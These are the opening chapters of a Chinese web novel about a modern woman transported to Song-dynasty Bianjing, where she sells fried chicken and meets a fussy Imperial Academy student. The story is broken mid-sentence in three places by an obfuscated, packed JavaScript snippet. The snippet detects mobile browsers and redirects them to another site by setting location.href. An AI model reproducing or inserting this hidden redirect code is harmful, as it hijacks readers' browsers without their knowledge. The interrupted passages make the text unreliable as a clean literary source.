《汴京小厨娘发家日记》 1. 穿越 "啪嗒——" "啪嗒——" 细微的、带着凉意的触感，接连滴落在脸颊。 "谁往我脸上滴水了？" 江稚鱼还未清醒的脑袋迷迷糊糊，意识像深陷在深海里，昏昏沉沉。 旋即便感到后脑一阵尖锐的疼痛，下意识抬手扶上后脑。 "唔……" "好痛。" 少顷，迟钝的脑子缓缓启动，脑海中经历过的记忆碎片渐渐浮上来。 刺眼的车灯，震耳欲聋的鸣笛，身体被巨大力量撞击后的失重感…… 抚摸脑袋的手一顿，姜稚鱼一个挺身坐起来。 "嘶……" 大概是起身太猛，头更痛了。 是了，她清清楚楚地记得自己在超市采买晚饭的食材，结果在过马路的时候，被一辆失控的大货车撞上了的。 那是一辆满载货物的大货车，疾驰而来撞向她，以至她整个人当时就被撞飞十几米！ ——那样的情况自己是必死无疑的了。 没想到自己还能再次睁开眼睛。 除了头痛得有些厉害之外，姜稚鱼全身上下摸索了一下。 齐全的，从外表看来可以说是完好无损的。 诶？ 她还活着？ 而且没什么重伤？ …… 可随即又察觉到不对劲。 身上的服饰并不是现代的款式，而是一袭古朴泛旧的靛蓝色襦裙。 她倏地抬头，打量起四周的处境，此时她正处在一间极其简陋、光线昏暗的屋子里： 泥土地面，家具极少：一张铺着干草的旧木床，一个破箱子，一张破旧的桌子和长凳，窗户很小，糊的纸已经发黄破损。 墙体是夯土墙，因为修建多年加上下雨的缘故墙角有被雨水侵蚀的痕迹。 屋顶是旧的板瓦，时间久远瓦片有的地方已经有些破裂。 所以，刚刚迷迷糊糊间滴在脸上的水滴其实是屋顶漏下的雨水…… 一切都显得陈旧、古拙。 并不是现代的房屋建筑以及陈设。 自己……这是穿越了？ 江稚鱼正坐在地上打量着周边的环境，好弄清楚自己的境遇。 恰在这时头脑一阵刺痛，诸多属于原主的记忆纷至沓来： 原主本是一个普通的木匠手工业家庭的女儿，因为夜里一场突如其来的大火席卷整个街巷，原主父母在火灾中遇难，而原主因当夜正巧偷跑出去看灯会而逃过一劫。 后原主投奔叔父一家，不出一个月却偷听到叔父商议着准备将她卖给人牙子。 原主找着机会逃离出来，经过半个月颠沛流离一路来到汴京。 原主还是有安全意识的，继而便在汴京寻找起了房子，如今的房屋租赁已经十分普遍，但因为手里钱财有限迟迟没有找到合适的住所。 牙婆，相当于现代的房屋中介见她迟迟没有敲定，是显而易见的手头拘谨，最后提及刚好自己有认识的姊妹家里有一间房屋也可以出租呢，价格比其它的都便宜！ 口中所说的便就是现在原主住下的这间了，这家的女主人丈夫因疾病去世了，女主人和女儿相依为命，所以将家里能出租的房屋用来出租补贴一点家用。 这间屋子之前是杂物间，实在简陋，但抵不过价格便宜，看过的再没有比它更便宜的了，甚至可以按天租赁。 住所便是如此定了下来。 哪成想这间屋子除了简陋非常，一到雨天还会漏雨呢，以至于原主准备自己修补一下屋顶时，从高处摔了下来了磕到了脑袋的致命处。 再睁眼却是她来到这里了。 早逝的双亲，漏雨的房屋，和没有收入的她…… 还真是相当艰难的处境呢。 不过。 来都来了，日子还是要继续的…… 不管怎样，至少还活着不是。 一边安慰着自己，一边起身。 好奇现在的自己是什么样子，四处找了找没找着铜镜，只好用屋里的水盆打了一盆清水，找个光线好点的地方，然后俯下身去，观察清水里的倒影。 模样看起来比自己小一些，二八年华，正值女子最好的时期，乌发黑眸，虽然家逢变故后过得不太好，脸颊消瘦下巴尖尖，但因着年轻，至少现在的神色瞧着还是带着些明亮的，嘴角一抿旁边还会显出一对带着甜意的小梨涡。 这模样…… 除了年龄比自己小，跟自己在现代的样子竟非常相似了。 甚至自己脸上原本也有着一对一模一样的小梨涡。 江稚鱼不自觉松了一口气，不知是不是冥冥之中的缘分。 待看清楚了自己的模样后，如今当务之急的生计问题就摆在眼前了。 原主身上现有的钱财也就是家逢变故那天出去玩所带的，不多，到现在已经所剩无几了。 而且今天就到了所交的房租的最后期限了。 现如今如何生活下去才是重中之重。 其实原主来到汴京后，也是为生计努力过的，多日外出询问哪里有没有招工的，结果每次得到的答案都是人手足够，不再需要帮工，以至于到她来到这里这些天都没有找到可做工的地方。 "既然这里工作不好找，那就自己做个营生吧。"江稚鱼暗自想。 不过具体做什么还需要考察考察。 首先能想到的便是做吃食。 所谓"民以食为天"，想来古往今来不管在哪里做吃食都至少是能糊口的。 何况，自己在现代再怎么说也是一个美食博主呢。 姜稚鱼念头一起，便将自己收拾一番出门打听这里最为繁华的位置。 汴京最繁华的核心地段，主要集中在内城东南角和沿汴河一带。 江稚鱼一路问过去，由于自己居住在外城，到达时已是半个时辰之后了。 目之所及，店铺食摊鳞次栉比，望不到头。 江稚鱼一边走一边观望。 "刚出笼热腾腾的羊肉馒头嘞——" "旋炙猪皮肉，香脆不腻！" "玫瑰酥饼，蜜饯果子——" 耳边是小贩们此起彼伏的吆喝，空气里是各种食物的香气：花椒茱萸混杂的辛辣；羊肉和葱韭的厚重香气；继续往前走，又是一阵属于糕糖的清甜香味…… 各种属于食物的诱人气味随意飘散着四处往行人的鼻子里转，勾人得很。 唾沫在口中疯狂分泌，忍不住咽了咽口水。 "咕——" 肚子在这时响起。 姜稚鱼抬手摸向腹部，看向四周。 "好在，周围人声鼎沸的，应该没人听见这点声音。"姜稚鱼暗搓搓想。 "小娘子，来一个烧饼吗？刚出炉的胡麻烧饼。" 江稚鱼正庆幸地想着，便听见身前的烧饼摊的老妇正看着她招呼。 "……" "不了不了。" 江稚鱼连连摆手，走开了。 实在是囊中羞涩呀。 她继续观察着四周食摊，售卖的种类，大致价格，食客喜好等等。待大致了解了情况后，心中有了抉择。 径直朝肉行走去。 步入汴京东门鸡鹅行，目光掠过一排排挤攘的鸡笼，姜稚鱼先慢慢地来回走了一圈，最后落在一个鸡肉案前。 摊主是一个膀大腰圆的壮汉，正手起刀落，麻利地分解一只肥美的肉鸡。 一位穿着整洁体面的妇人随手挑了最肥美的整鸡，爽快地付了七十文钱，铜钱落入钱闸的一连串清脆声响，使得江稚鱼下意识捏紧了手里的钱袋子。 待妇人走后，商贩抬起眼，打量了江稚鱼一眼，见是衣着朴素面容稚嫩的小娘子，语气也平常："这位娘子，买鸡吗？现杀的活鸡，新鲜！" 江稚鱼走近些，看了一圈，手指指着最小的一只鸡询问："这只，多少钱呢？" 摊主只瞟了一眼，便答："按斤称，这只嘛大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092714|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概2斤三十五文钱吧。" 姜稚鱼捏了捏钱袋子。 有些踟蹰。 商贩见状，便道："小娘子要是觉着整只吃不完，这刚好也有半只的，喏，十七文钱带走。" "刚刚斩杀的，保证新鲜！" "行。" 姜稚鱼仔细看了，鸡肉确实还挺新鲜，肉质没问题。 且刚刚走了一圈也算大致了解了价格。 付了钱，摊贩也按姜稚鱼的要求将鸡的各个部位快速分类切好，打包。 随后拐去其它的铺子…… 最终姜稚鱼便是提着一包鸡肉以及各种调料，方才返回了去。 一回到院子，便直奔向灶房。 也好在灶房以及厨具是可以公用的。 将买回来的鸡肉用清水洗净，在肉摊时已经让老板把各个部位分开切好了，鸡腿，鸡翅，鸡胸肉，鸡架等等…… 分别用木签将鸡肉戳一些小孔，其中鸡胸肉用刀背拍打拍打然后切成大概小指粗的条。 取一个陶盆放入盐、葱姜、酱油，再加点白酒去腥，放置一边腌制。 炒制花椒与茱萸细心捣成细末，再自制一点五香粉。 取一个陶盆调制面浆，倒入面粉，打一个鸡蛋，一小撮盐，边搅动面粉边缓缓加入清水，直至调制成浓稠恰好的面浆。 将腌制好的鸡肉从料汁中捞出，全都均匀地包裹上一层薄薄的面浆。 烧火热锅，待油温合适将裹好浆的鸡肉轻轻滑入热油中，随着热油的"滋啦"声，诱人的香气也随之在空气中弥漫。 待鸡肉外壳定型变成淡金黄色捞出，继而加大火候复炸一遍，在高温的作用下，淡黄转变为酥脆诱人的金黄，此时迅速捞出炸鸡，外壳相互撞击间还会嘎吱作响。 出锅时再在酥脆的外壳上撒上一层自制香料，浓郁肉香加上独特的椒辛香气便在空气中弥漫开来。 "什么东西啊，好香。" "是哪家在做饭吧。" "之前在家咋没闻到过这般的香气呢……" 听着院门传来的声响，姜稚鱼便知是"房东"母女俩回来了。 房东大娘姓苏，是位稳婆，但因着并不是时时都有新生儿出生且又恰好找上她接生的，平日的时候会和女儿走街串巷卖花。 姜稚鱼知晓她们差不多每天这个时辰回家。 一边注意着母女俩的动静，一边将手里刚出锅的炸鸡快速装盘。 "哎唷，这姑娘，你在这儿呀！" 随着"吱呀"一声厨门推开的声音，苏大娘步入。 苏大娘清清嗓子，"姜小娘子，你看今天这便是……" 姜稚鱼一听这话头就知苏大娘是要提及今天就是所交的房租的最后一天了，是要继续交钱住呢还是明早便收拾收拾搬走呢。 "苏大娘！"姜稚鱼赶忙开口，笑容甜美，脸颊边显出可爱的小梨涡，声音清亮，"您回来啦！" "我这恰好做了点新鲜吃食，这段时间承蒙您的关照了，是专程答谢你们的。" 一边说着一边端着装好盘的金灿灿的炸鸡双手奉上。 苏大娘被这一打断，眼神就放到了姜稚鱼提及的吃食上了。 苏大娘这才注意到厨房弥漫的香气正是在院门就闻到的特殊气味，光看样子金黄酥脆的不知是什么做的。 "什么呀？"这时苏大娘的女儿也闻声进来，眼光落在那盘吃食上。 她撇撇嘴，"无事献殷勤……" 口中说着，随手捏起一根炸鸡柳，"我告诉你啊……" 放入口中，"别以为就凭一点不值钱的吃的，就可以……" 少房钱或者是别的什么便宜。 可是这一句话并没有说完，手里的东西一口咬下去，便是"咔滋"一声清脆声响，接着是混合着鸡肉鲜嫩肉香和丰富调料的肉汁在嘴里爆开，焦香酥脆，口感丰富浓郁…… 还没出口的话哑了火。 只默默又夹了一根…… 2. 小摊 赵蓉的话，并没有说完。 她默默又夹了一根。 还没说完的话哑了火。 是以，靠着这盘满口留香的炸鸡，姜稚鱼争取到了延缓三日交付续住房费的时间。 第二日，天刚蒙蒙亮姜稚鱼便直奔肉行。 经过昨日市场考察，以及苏大娘和赵蓉惊艳的表现，姜稚鱼便决定支上个小摊卖炸鸡了。 因着资金有限，姜稚鱼这次先买了少量鸡肉。 一些餐具之类的倒不用急着买，昨日就与苏大娘商议好了平时一些不常用的餐具她可先借她一用。 最要紧的就是专用来炸制的锅，家里铁锅只有一口，苏大娘母女俩也是需要每日用的，是以姜稚鱼还剩一个重要工具便是需要一口铁锅用来炸制炸鸡。 来到一家卖铁器的店铺。 先四下观望，才开口询问一间店家，"大哥，这铁锅是如何卖的？" "看你要多大的了。" "大点的质量好点的200文，小点的150文都有。" 姜稚鱼闻言摸摸钱袋。 不够。 姜稚鱼仰脸，也不兜圈子直言询问："最便宜的多少？" 店家注意到姜稚鱼的举动，转身从角落里挑出一口尺寸略小锅底偏薄的铁锅，抹了抹灰，"这口，原本也是卖150文的，看你诚心，便宜卖你吧……" "100文。" "再没有比这更便宜的价钱了，看上你就拿走。" 姜稚鱼："……" 姜稚鱼抬头扬起笑脸，"谢谢大哥，我再看看。" 随后转了一圈，一口铁锅的价格果然都是一百多文。 最后，姜稚鱼的目光不得以放在了一家卖陶具的店里。 姜稚鱼考虑几秒。 随后看向卖陶具的大娘： "大娘，你这口深口陶具如何卖的？" "这个啊，只要四十文。"卖陶瓷的大娘闻声从椅子里站起身，堆满笑迎上来。 "小娘子带走吗？" "哎唷，你这姑娘，你要铁锅换成陶具啊？" "这可不行的。" 说话的是刚刚询问过的铁锅的店家，好巧不巧正是姜稚鱼询问的第一家。 姜稚鱼兜了一圈，差不多又回到原点了。 "这陶具可没有铁锅扎实耐用啊！" "可容易坏了，一个不注意就裂开，不经用又危险。" "你还不如买铁锅呢，一个铁锅随便造也用不坏，可以用到天长地久的了，也不至于用着担惊受怕的不是……" 那铁锅大哥滔滔不绝介绍起来，极力推荐着他的铁锅。 陶具大娘的脸色也越来越难看，看他说起来没完没了了。 "欸！" "我说你这人，没长眼不是？人家姑娘就看上我家的陶具了，你上来插什么话。"陶具大娘叉着腰，指着铁锅大哥也提高声音不甘示弱开口了。 "我家陶具好着呢！" "做啥啥香！" "这东西做出来不就是拿来用的吗？怎么了，还不能用了？我家陶具好用得很！也是可以用好长时间的！" 姜稚鱼眼看铁锅大哥陶具大娘各不相让快吵起来了。 市场吵架的架势她是见识过的，真吵起来不见得什么时候才能消停。 "唉唉唉！" "大哥大娘，你们说得都在理！" "它们啊都各有各的好哈，就是我现在吧，实在是只够买陶具的……"说到最后声音渐小，还有些无奈窘迫的样子。 最后姜稚鱼还是以一番软语商讨，用三十五文的价格买了那个深口陶翁。 姜稚鱼也知道铁锅大哥其实说得没错。 陶具能稳定承受的温度比不上铁锅。 炸鸡所需的油温，虽然未超过陶翁的耐受极限，但是可以说很接近了。 况且陶具受热不均匀很容易开裂。 陶具炸制是有一定风险存在的。 但是没办法，谁让她现在只买得手里这个起陶翁呢。 只有自己小心着使用。 还是可以撑一些时日的。 待一切食材和工具采购妥当。 姜稚鱼先回家一趟将鸡肉进行腌制以及裹粉等一些预处理，再做了一些酸甜沁凉的酸梅饮子，便来到了之前考察的地点了。 州桥夜市。 御街与汴河交汇处，汴京最繁华核心的地段之一。 找到一处人流量不错，也足以摆上小摊的空隙地。 先卸下食材物品好好放置在一边，然后支起油锅。 买来的那口陶翁姜稚鱼并没有将它直接放在明火上烧制，而是将陶翁坐在一个铺满沙子的破铁片上，用"沙浴"的方式间接加热。 如此，虽然加热比铁锅慢上一些，但可使陶翁受热均匀。 等加热油锅的时候，姜稚鱼一边将食材摆放出来。 提前腌制好的鸡腿、鸡翅、鸡柳、鸡架等等依次摆出来。 分门别类，再加上裹了层面粉的缘故，再用碗碟整齐摆放好，看看起来也快摆满了一方小台桌。 最后再摆放出可解油腻的酸甜可口的冰镇酸梅饮子。 做酸梅饮子的时候姜稚鱼还很可惜，这里现有的材料没法做可乐，要不然冰冰凉凉冒着气泡的可乐和炸鸡才是最佳搭档啊！ 时间有限准备匆忙，所以搭配了酸甜清凉的酸梅饮子消暑解腻也不赖。 一切准备就绪。 自己搭建的临时小摊也算像模像样了。 这时油锅也差不多快好了。 而在姜稚鱼搭建小摊的时候，周边的小摊贩以及路人也在打量她这个眼生的小娘子。 见她小摊搭建好了，有几人便主动围上前来好奇打量。 是以，还没等她吆喝就有一位男子出声询问了："小娘子，你这是卖的什么呢？" "黄金炸鸡！" 姜稚鱼听见有人主动询问闻言立即抬头，脆声回答，扬起笑脸显出两湾浅浅梨涡看向来人。 "黄金炸鸡……" "这名字倒是富贵，不过没听说过啊。" "这是什么新鲜吃食吗？" 众人你一言我一句的，但就是好一会儿没人开口购买。 对于突然出现从没见过的食物，大家都是好奇观望居多，难得贸然购买。 毕竟谁知道会不会花了钱结果买了难吃的东西呢，那样的经历可是很糟糕了。 于是，姜稚鱼立时便取了一份鸡柳，下入油锅。 "没事儿啊各位，没吃过不要紧尝尝不就知道了？" 姜稚鱼笑着开口，手里翻着黄灿灿的炸鸡柳，一边安抚挽留众人。 她深知对于吃食而言，甭管是小吃摊还是店铺，人气都是最重要的。趁着周边大家还好奇人群多的时候是最好推销的。 "我这儿炸一份你们先尝尝，觉着好吃您们再买！" 语气干脆，动作利落。 且因着这话，小摊前又多围了几人。 不多时，炸鸡柳便好了。 将炸的金黄的鸡柳装好盘，姜稚鱼拿出几根竹签，然后笑吟吟招呼道： "来来来！各位这是免费品尝的！" "这金丝柳，大家先尝尝看！" 众人一听，欣然上前，一位瞧着粗犷豪放的大哥率先出手。 那大哥执起竹签，麻溜地刁了一根那新鲜出锅的吃食放入口中。 旋即，惊喜地将他那一双虎目瞪得溜圆，"欸！" 一边嚼一边朗声开口： "这玩意儿好吃欸！" "这一口下去焦香酥脆的！" "吃完还唇齿留香，回味无穷呐！" "真的假的，我也试试。" "我也来尝尝！" 众人这时纷纷一拥而上。 而如此一来旁边路过的行人一看，上前观看的人也就更多了。 足足把小摊围了两三圈。 而在其他人还在品尝的时间，那第一个得以品尝的大哥已经扬声询问起来："小娘子，给我来一份刚刚吃的那个，那个叫什么来着？" "欸！刚刚那是金丝柳。"姜稚鱼欢快回答。 "稍等啊大哥，我这都是新鲜现炸的，马上就好！" 只要开了头，后面的也就容易了。 "给我也再来一份！" "好嘞！" "小娘子，你这除了这金丝柳，还有其它什么别的品类么？" 这时便已经陆续有品尝过的顾客，喊着正式购买了。也有因为试吃围着的人多，选择直接购买的了。 ＊ 夕阳西斜，将汴京城的屋瓦染上一片温暖的赤金色。 太学放散的钟声也在这时敲响。 裴律与同窗作揖道别，整理一番服饰继而大步走向学院门口自家那辆红漆马车。 "子瞻！等一下！" 还未及登上马车，裴律便听到一声急切呼唤。 回首正见周继明一边呼喊一边气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092715|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喘吁吁跑来。 "子瞻，我家车夫今日告病没来，我顺路搭一下你的车好不好？" 嘴里虽是询问着，可身子已经泥鳅似的极快又极丝滑地钻入了马车。 一抬头望见裴律还在马车外，很是惊讶，"咦？子瞻你怎地还没进来呢？" "快快快，这么热的天，外面站着多晒呀！" 他率先进入裴律的马车，倒还来热情招呼起裴律来了。 裴律："……" 裴律无言看了眼已然安坐于车内，甚至自若地拍拍身边空位的周继明，这时才得以慢一步登上马车，晲去一眼： "那是，比不得怀恩你动作敏捷呐。" "是吧？" 周继明得意扬起下巴，"我娘也经常这样夸我呢，说我行事如风！动如脱兔！做事雷厉风行的呢！嘿嘿。" 裴律："……" 这人还以为在夸他呢。 马车嘚嘚行驶在青砖上。 先是经过一片相对安静的居住区，起先几乎只能听见规律的车轮声，继而随着马车拐入御街，街区热闹鲜活的声音便渐渐逼近。 食贩们抑扬顿挫地吆喝，食客的谈笑，孩童的嬉闹……各种色样的声音源源不断地涌入耳中。 周继明刚开始还在扯东扯西滔滔不绝地与裴律说话，这时听着的外面声响打开车窗。 "今日怎地好像比往常更热闹一些。" 一打开车窗，便见面前的一个小摊围着好多人，好似争先恐后得购买什么东西。 那些买到的手里有的一手拿着一个油纸袋，一手拿着一根竹签刁着一种吃食，有的还举着一杯饮子，看样子吃得特别满足。 见此情景，周继明双眼唰地都放光了。 "子瞻，前面好像有了一家新来的小食摊，好多人，很好吃的样子，我们也下去买一份尝尝吧！" 裴律闻言眼都没抬。 "不去。" 周继明还没开口，裴律似是知道他会继续劝说，蹙眉接着开口："街边小摊，食材用料来源不明，烹炸器具未必洁净。" "恐于卫生有亏。" 意思是这样的小摊，太脏。 裴律说话的声音也不大，何况是在各种声音混杂的情况下。 但是，好巧不巧地偏偏就被姜稚鱼耳尖地扑捉到了，"卫生有亏"再清晰不过，也听出来对话说的就是她这个小摊。 附近也就是她一个新来的。 姜稚鱼当即转头，目光精准地望向两人扬声："这位客官，你这话可不好乱说的！" "别的不敢说，食材卫生我可是打包票的好不好。" "每只鸡肉都是我当天新鲜现买的，食材餐具也是仔仔细细认认真真清洗干净了，所有用到的东西可都是擦的锃光发亮的！" "食材用具可都是干净得不能再干净的了！" 姜稚鱼一迭声不服气地说道。 刚刚姜稚鱼被摊前食客遮挡着，她一开口俩人才知这摊主原是一位小姑娘。 裴律眼中闪过一点意外，周继明则有些讪讪地下车，对姜稚鱼开口道： "唉呀这位小娘子别介意，我这好友并非说你呢，他这人吧也就是……也就是太爱干净了些！" 说着张望着询问，"你这都有什么呢？" "给我来几份尝尝！" 然后又转头对裴律嚷道："子瞻你等等我啊。" 摊前还有着不少人。 …… 起先裴律在马车上闭目养神。 一刻钟了…… 周继明还没回来。 裴律无聊得拿出书卷来看。 等周继明嚷嚷着回来的时候，已经是一炷香过后了。 坐上马车周继明便迫不及待打开油纸袋，肉质椒香的香味在车内弥漫。 周继明先自己咬了一大口炸的外壳焦香酥脆内里鲜嫩多汁的鸡腿。 刚咬一大口鸡腿的周继明嚼着嚼着，突然一跺脚，举着那炸鸡发现新宝藏地惊喜开口："难怪那么多人呢！这东西还真是好吃！" 说着他拿起其中一个未动的油纸包，示意裴律，"子瞻你也试试，好吃的！" 裴律："不。" 周继明顿了顿，遗憾放下："……好吧。" 这么长时间的相处他也清楚裴律的这点毛病，也没继续劝说了。 只一边自己在旁吃得津津有味，一边摇头惋惜： "唉呀……真是可惜了，某人这样子得错过这世上多少美食呀。" 3. 赶走 马车在车夫的沉稳驾驭下缓缓驶离了州桥夜市。 先路过周继明家门口停下，周继明一把掀开车帘，跳下车丢下一句"明日学堂见！"，便风风火火回了家。 马车继续行驶，没多久便再次停了下来。 "公子，到了。" 裴律掀帘下了马车，早有眼明手快的小厮上前迎接："公子回来了。" 裴律微微颔首，还不忘转头吩咐小厮记得打扫车厢，随后才跨步迈入院门，随着深入府内，门外市井烟火气被隔绝，取而代之的是庭院深深的静谧。 他刚穿过前院的回廊，正准备往自己的院子走去，一个清脆活泼的声音便从身后追了上来："阿兄，你可算回来了！" 裴律回头，正是妹妹裴歆乐。 他这妹妹正值豆蔻年华，又是个活泼好动的性子，带着一名婢子，提着鹅黄裙摆，从月亮门后小跑过来。 "阿兄，你看我刚在外面发现了什么好东西！" 裴律一看。 熟悉的油纸袋…… "阿兄，你尝尝！" "可好吃了！" "我不……" "唔……" 裴律刚开口，拒绝的话都没说完，裴歆乐已经眼疾手快地拿起一块金灿灿的炸鸡，趁他开口的时机飞快塞到他嘴里了。 裴律瞪大眼睛："你！" "还有这个！"趁着裴律再次开口，裴歆乐赶紧又灌上了一口沁凉的酸梅饮子，一拍手笑盈盈地： "对，一口炸鸡一口酸梅饮子，可美味了！" 迎着自家兄长幽幽看过来的眼神，裴歆乐赶忙开口："我这可是觉着好吃，大老远专程给你带回来的啊！" 她着重强调了"专程"两个字。 随后觑着自家兄长神色凑近追问："怎么样，是不是很好吃？" 裴律："……" 裴律就凉凉看着她不说话。 裴歆乐瞅着自家兄长面色又补充："我买的时候可是留心看了的！这个摊位的姊姊将食摊都收拾得井然有序一尘不染的！放心吧干净得很！"裴歆乐拍拍胸脯补充。 裴律的目光随后又缓缓下移幽幽落到她刚刚喂他食物的手上。 "这，我刚刚才净了手的！"裴歆乐一紧张就将双手背到身后。 "真的！"裴歆乐让自己直视自家兄长的眼睛，眨巴着亮澄澄的眼睛努力显示自己的真诚。 裴律："……" 你看我信不信。 裴律随后回到房间。 第一件事便是走到铜盆前，用皂角仔仔细细净了手，接着漱口，洗漱完了再次净手…… 最后才开始沐浴…… ＊ 油灯晃晃悠悠地照亮了昏暗的房屋，姜稚鱼就在油灯边数着今日的收益。 算了算，除去今日的食材成本，还赚了二百来文。因着是第一天，而且因为准备时间匆忙加上资金有限，有这个收益已经很不错了。 随后姜稚鱼忍不住环顾起现在居住的小屋。 她已知身在这寸土寸金的汴京，如果想后期在这汴京城里长期居住且购买一套属于自己的住宅的话，也是非常之不容易的。 唉，看来从古至今买房都是一大难事啊…… 姜稚鱼收拾洗漱完毕，听着铜钱撞击的清脆悦耳的哗啦声响，而后放在床底小心掩盖放好。 不管怎样，有了收入，姜稚鱼心里总算踏实了一点。 第二日姜稚鱼照常来到昨日的摊位。 人一到，没想到已经有人在等着了。 "小娘子可算来了，我可等你有一会儿了。" "嘿，我也是啊，昨日给家里带了份回去，我家那小子就催着我今日再来买呢！所以我今儿这不早早来了，不然可有得等呐！" 姜稚鱼听见这些话，高兴得很，立马绽开甜甜的笑脸，显出两湾甜蜜梨涡： "大家喜欢就好。" "稍等我一下啊，我这才来，马上就摆好哈。" 说着麻利地开始摆放家伙什，途中还与食客闲聊几句。 待小摊支好，又纷纷来了许多食客。 食客一来，姜稚鱼一边盯着锅里一边还努力记着食客来的先后顺序。 先来后到嘛，要是先来的没做反倒先做了后来者的那可不好的。 "小娘子，还有几人到我呢？"一位穿着青衫的青年温和询问。 "很快了！先是这位大哥的，然后是这位婶子的，再然后是这位大哥的，下一个就是你的了！"正翻动着锅里滋滋作响鸡块的姜稚鱼，闻声抬头，一一数着青年前面的三人示意。 每当炸好一份，用笊篱捞起鸡块，便会抬头脸上泛着她那对甜美梨涡的笑容看向食客，声音清脆地问："要什么口味的？" "五香还是辛辣的？" 这儿的辛辣并不是现代的辣椒，主要这时还没有辣椒呢，辛辣味道的主要材料是茱萸所制而成的。 姜稚鱼原先还想着做个胡椒口味的，可惜这时的胡椒却价比黄金。 对于她目前来说用胡椒的调味还不现实…… ＊ 辰时太学，身着统一白色襕衫的学子们端坐在漆木书案之后，空气中弥漫着书墨特有的清香气息。 年过五旬的先生一袭深蓝襦袍，正手持书卷，面向学子们授课： "……古之欲明明德于天下者，先治其国；欲治其国者，先齐其家；欲齐其家者，先修其身；欲修其身者，先正其心……心正而后身修，身修而后家齐，家齐后后治国，国治而后天下平……" "好了，接下来我们……"，先生扫视室内一圈，目光最后落在某个身影上停顿住，敲敲桌案神色严厉："裴律，你来说说刚刚讲的什么。" 一圈下来，今日就他最没精神了。 裴律缓缓站起身，却是出乎他意料地开始准确无误地讲说…… 先生："还行……" 却没注意裴律斜对面坐着的周继明一个劲地朝裴律无声用口型以及辅以手势的提示。 中间休息的钟声敲响，先生便对学子们道："时辰差不多了，大家先休息一会儿吧。" 又转头望向裴律，"大家后面好好听讲啊。" 周继明在先生话落便靠坐过来，好奇，"你今日是怎的了？" "感觉焉了吧唧的，说话都没平日里有力了。"周继明上下打量着裴律，"身子不适？你生病了啊？" 裴律掀开眼皮看他一眼，低声缓缓开口： "……没事儿" "只是今日没来得及吃早膳。" "啥？" "……" 裴律深吸一口气，再次开口，稍提高了音量，一字一顿： "我说，没吃早膳！" "饿的！" "行了吧！" "啊？你这是饿的呀！"周继明恍然。 "你早说呀。"周继明听罢一拍大腿，从自己的书案下摸索，窸窸窣窣地掏出一个油纸包。 "嘿，我跟你说，正好我今儿买了三个鸡肉卷饼，刚巧又在家吃了些早膳出门的，还有一个吃不下了，诺，给你吧。" 周继明慷慨道，心里还想着，我这可真是大方了，以他的食量怎么可能还吃不下这一个卷饼了，不过是在吃完两个卷饼后夫子就来了，也就有个八分饱吧。不过以他的食量也就算是全饱了这卷饼他也吃得下呀！ 看在兄弟都快饿晕的份上他就大发慈悲忍痛割爱吧。 裴律撇了一眼周继明手里的东西，没接，反而问："……哪儿来的？" 周继明没想这种情况了裴律在意这些呢，他瞪大眼，"哎哟，你都快饿死的样儿，还在意这个呢？" "你不会真宁愿饿晕过去也绝不碰外头摊贩的吃食吧？" 裴律："……" "啧，就上次，搭你马车那回那个小吃摊还记得吧，就那买的。" 周继明接着还努力思索着："人家小娘子的摊我看整得也挺干净整洁来着，你想啊人家一个姑娘想必也是注意着洁净卫生的，放心吧没问题的。" 裴律："……她不是下午卖那叫什么炸鸡的吗？怎地现在又卖饼了？" "对呀，近日她早上又新增了这卷饼了。上午卷饼下午到晚上炸鸡来着。"周继明摸着下巴， "可能是为了多点收益吧。" 周继明是个想着什么就说什么的性子："你别说，我都在她那买了好几次吃食了，每次去都只见她一个人忙活，唉？你说该不会她就没有其他家人了吧？如果真是的话也难怪如此艰辛了……" 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092716|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >"唉呀，说多了说多了。"周继明说了一通又打住拍拍脑袋，搁下油纸袋，"都快到夫子授课时间了，我就放这儿了啊。" 没等裴律开口周继明又补充："反正我吃不下最后也是浪费了，你要是不吃就帮忙扔一下，谢了哈！" 说罢便摆摆手转身回自己的座位上了。 周继明一坐回位置上，便有同窗上前来与他勾肩搭背： "怀恩兄，你今儿早吃的什么呢？瞧着挺香，哪儿买的呢……" "……" 裴律目光落回那个熟悉的油纸袋上。 …… 又一堂课后，裴律明显感到胃部隐隐传来抽痛，像有只手在胃上使劲反复用力拧着，起初轻微，随后渐渐清晰起来。 伴随而来的还有强烈的眩晕心悸。 只要微微一偏头目光便对上了角落边那个不起眼的暖棕色油纸袋上。 …… ……伸手靠近。 修长的手指缓缓触碰到微凉的油纸…… ＊ 时光流逝，太阳西斜。太学下学的钟声悠悠响起，裴律随着同窗人流出了学院，照常踏上自家青幔红漆马车。 待行驶到听见熟悉的市井叫卖声，抬手用折扇挑开了窗边帘帷的一角。 马车使过街区。 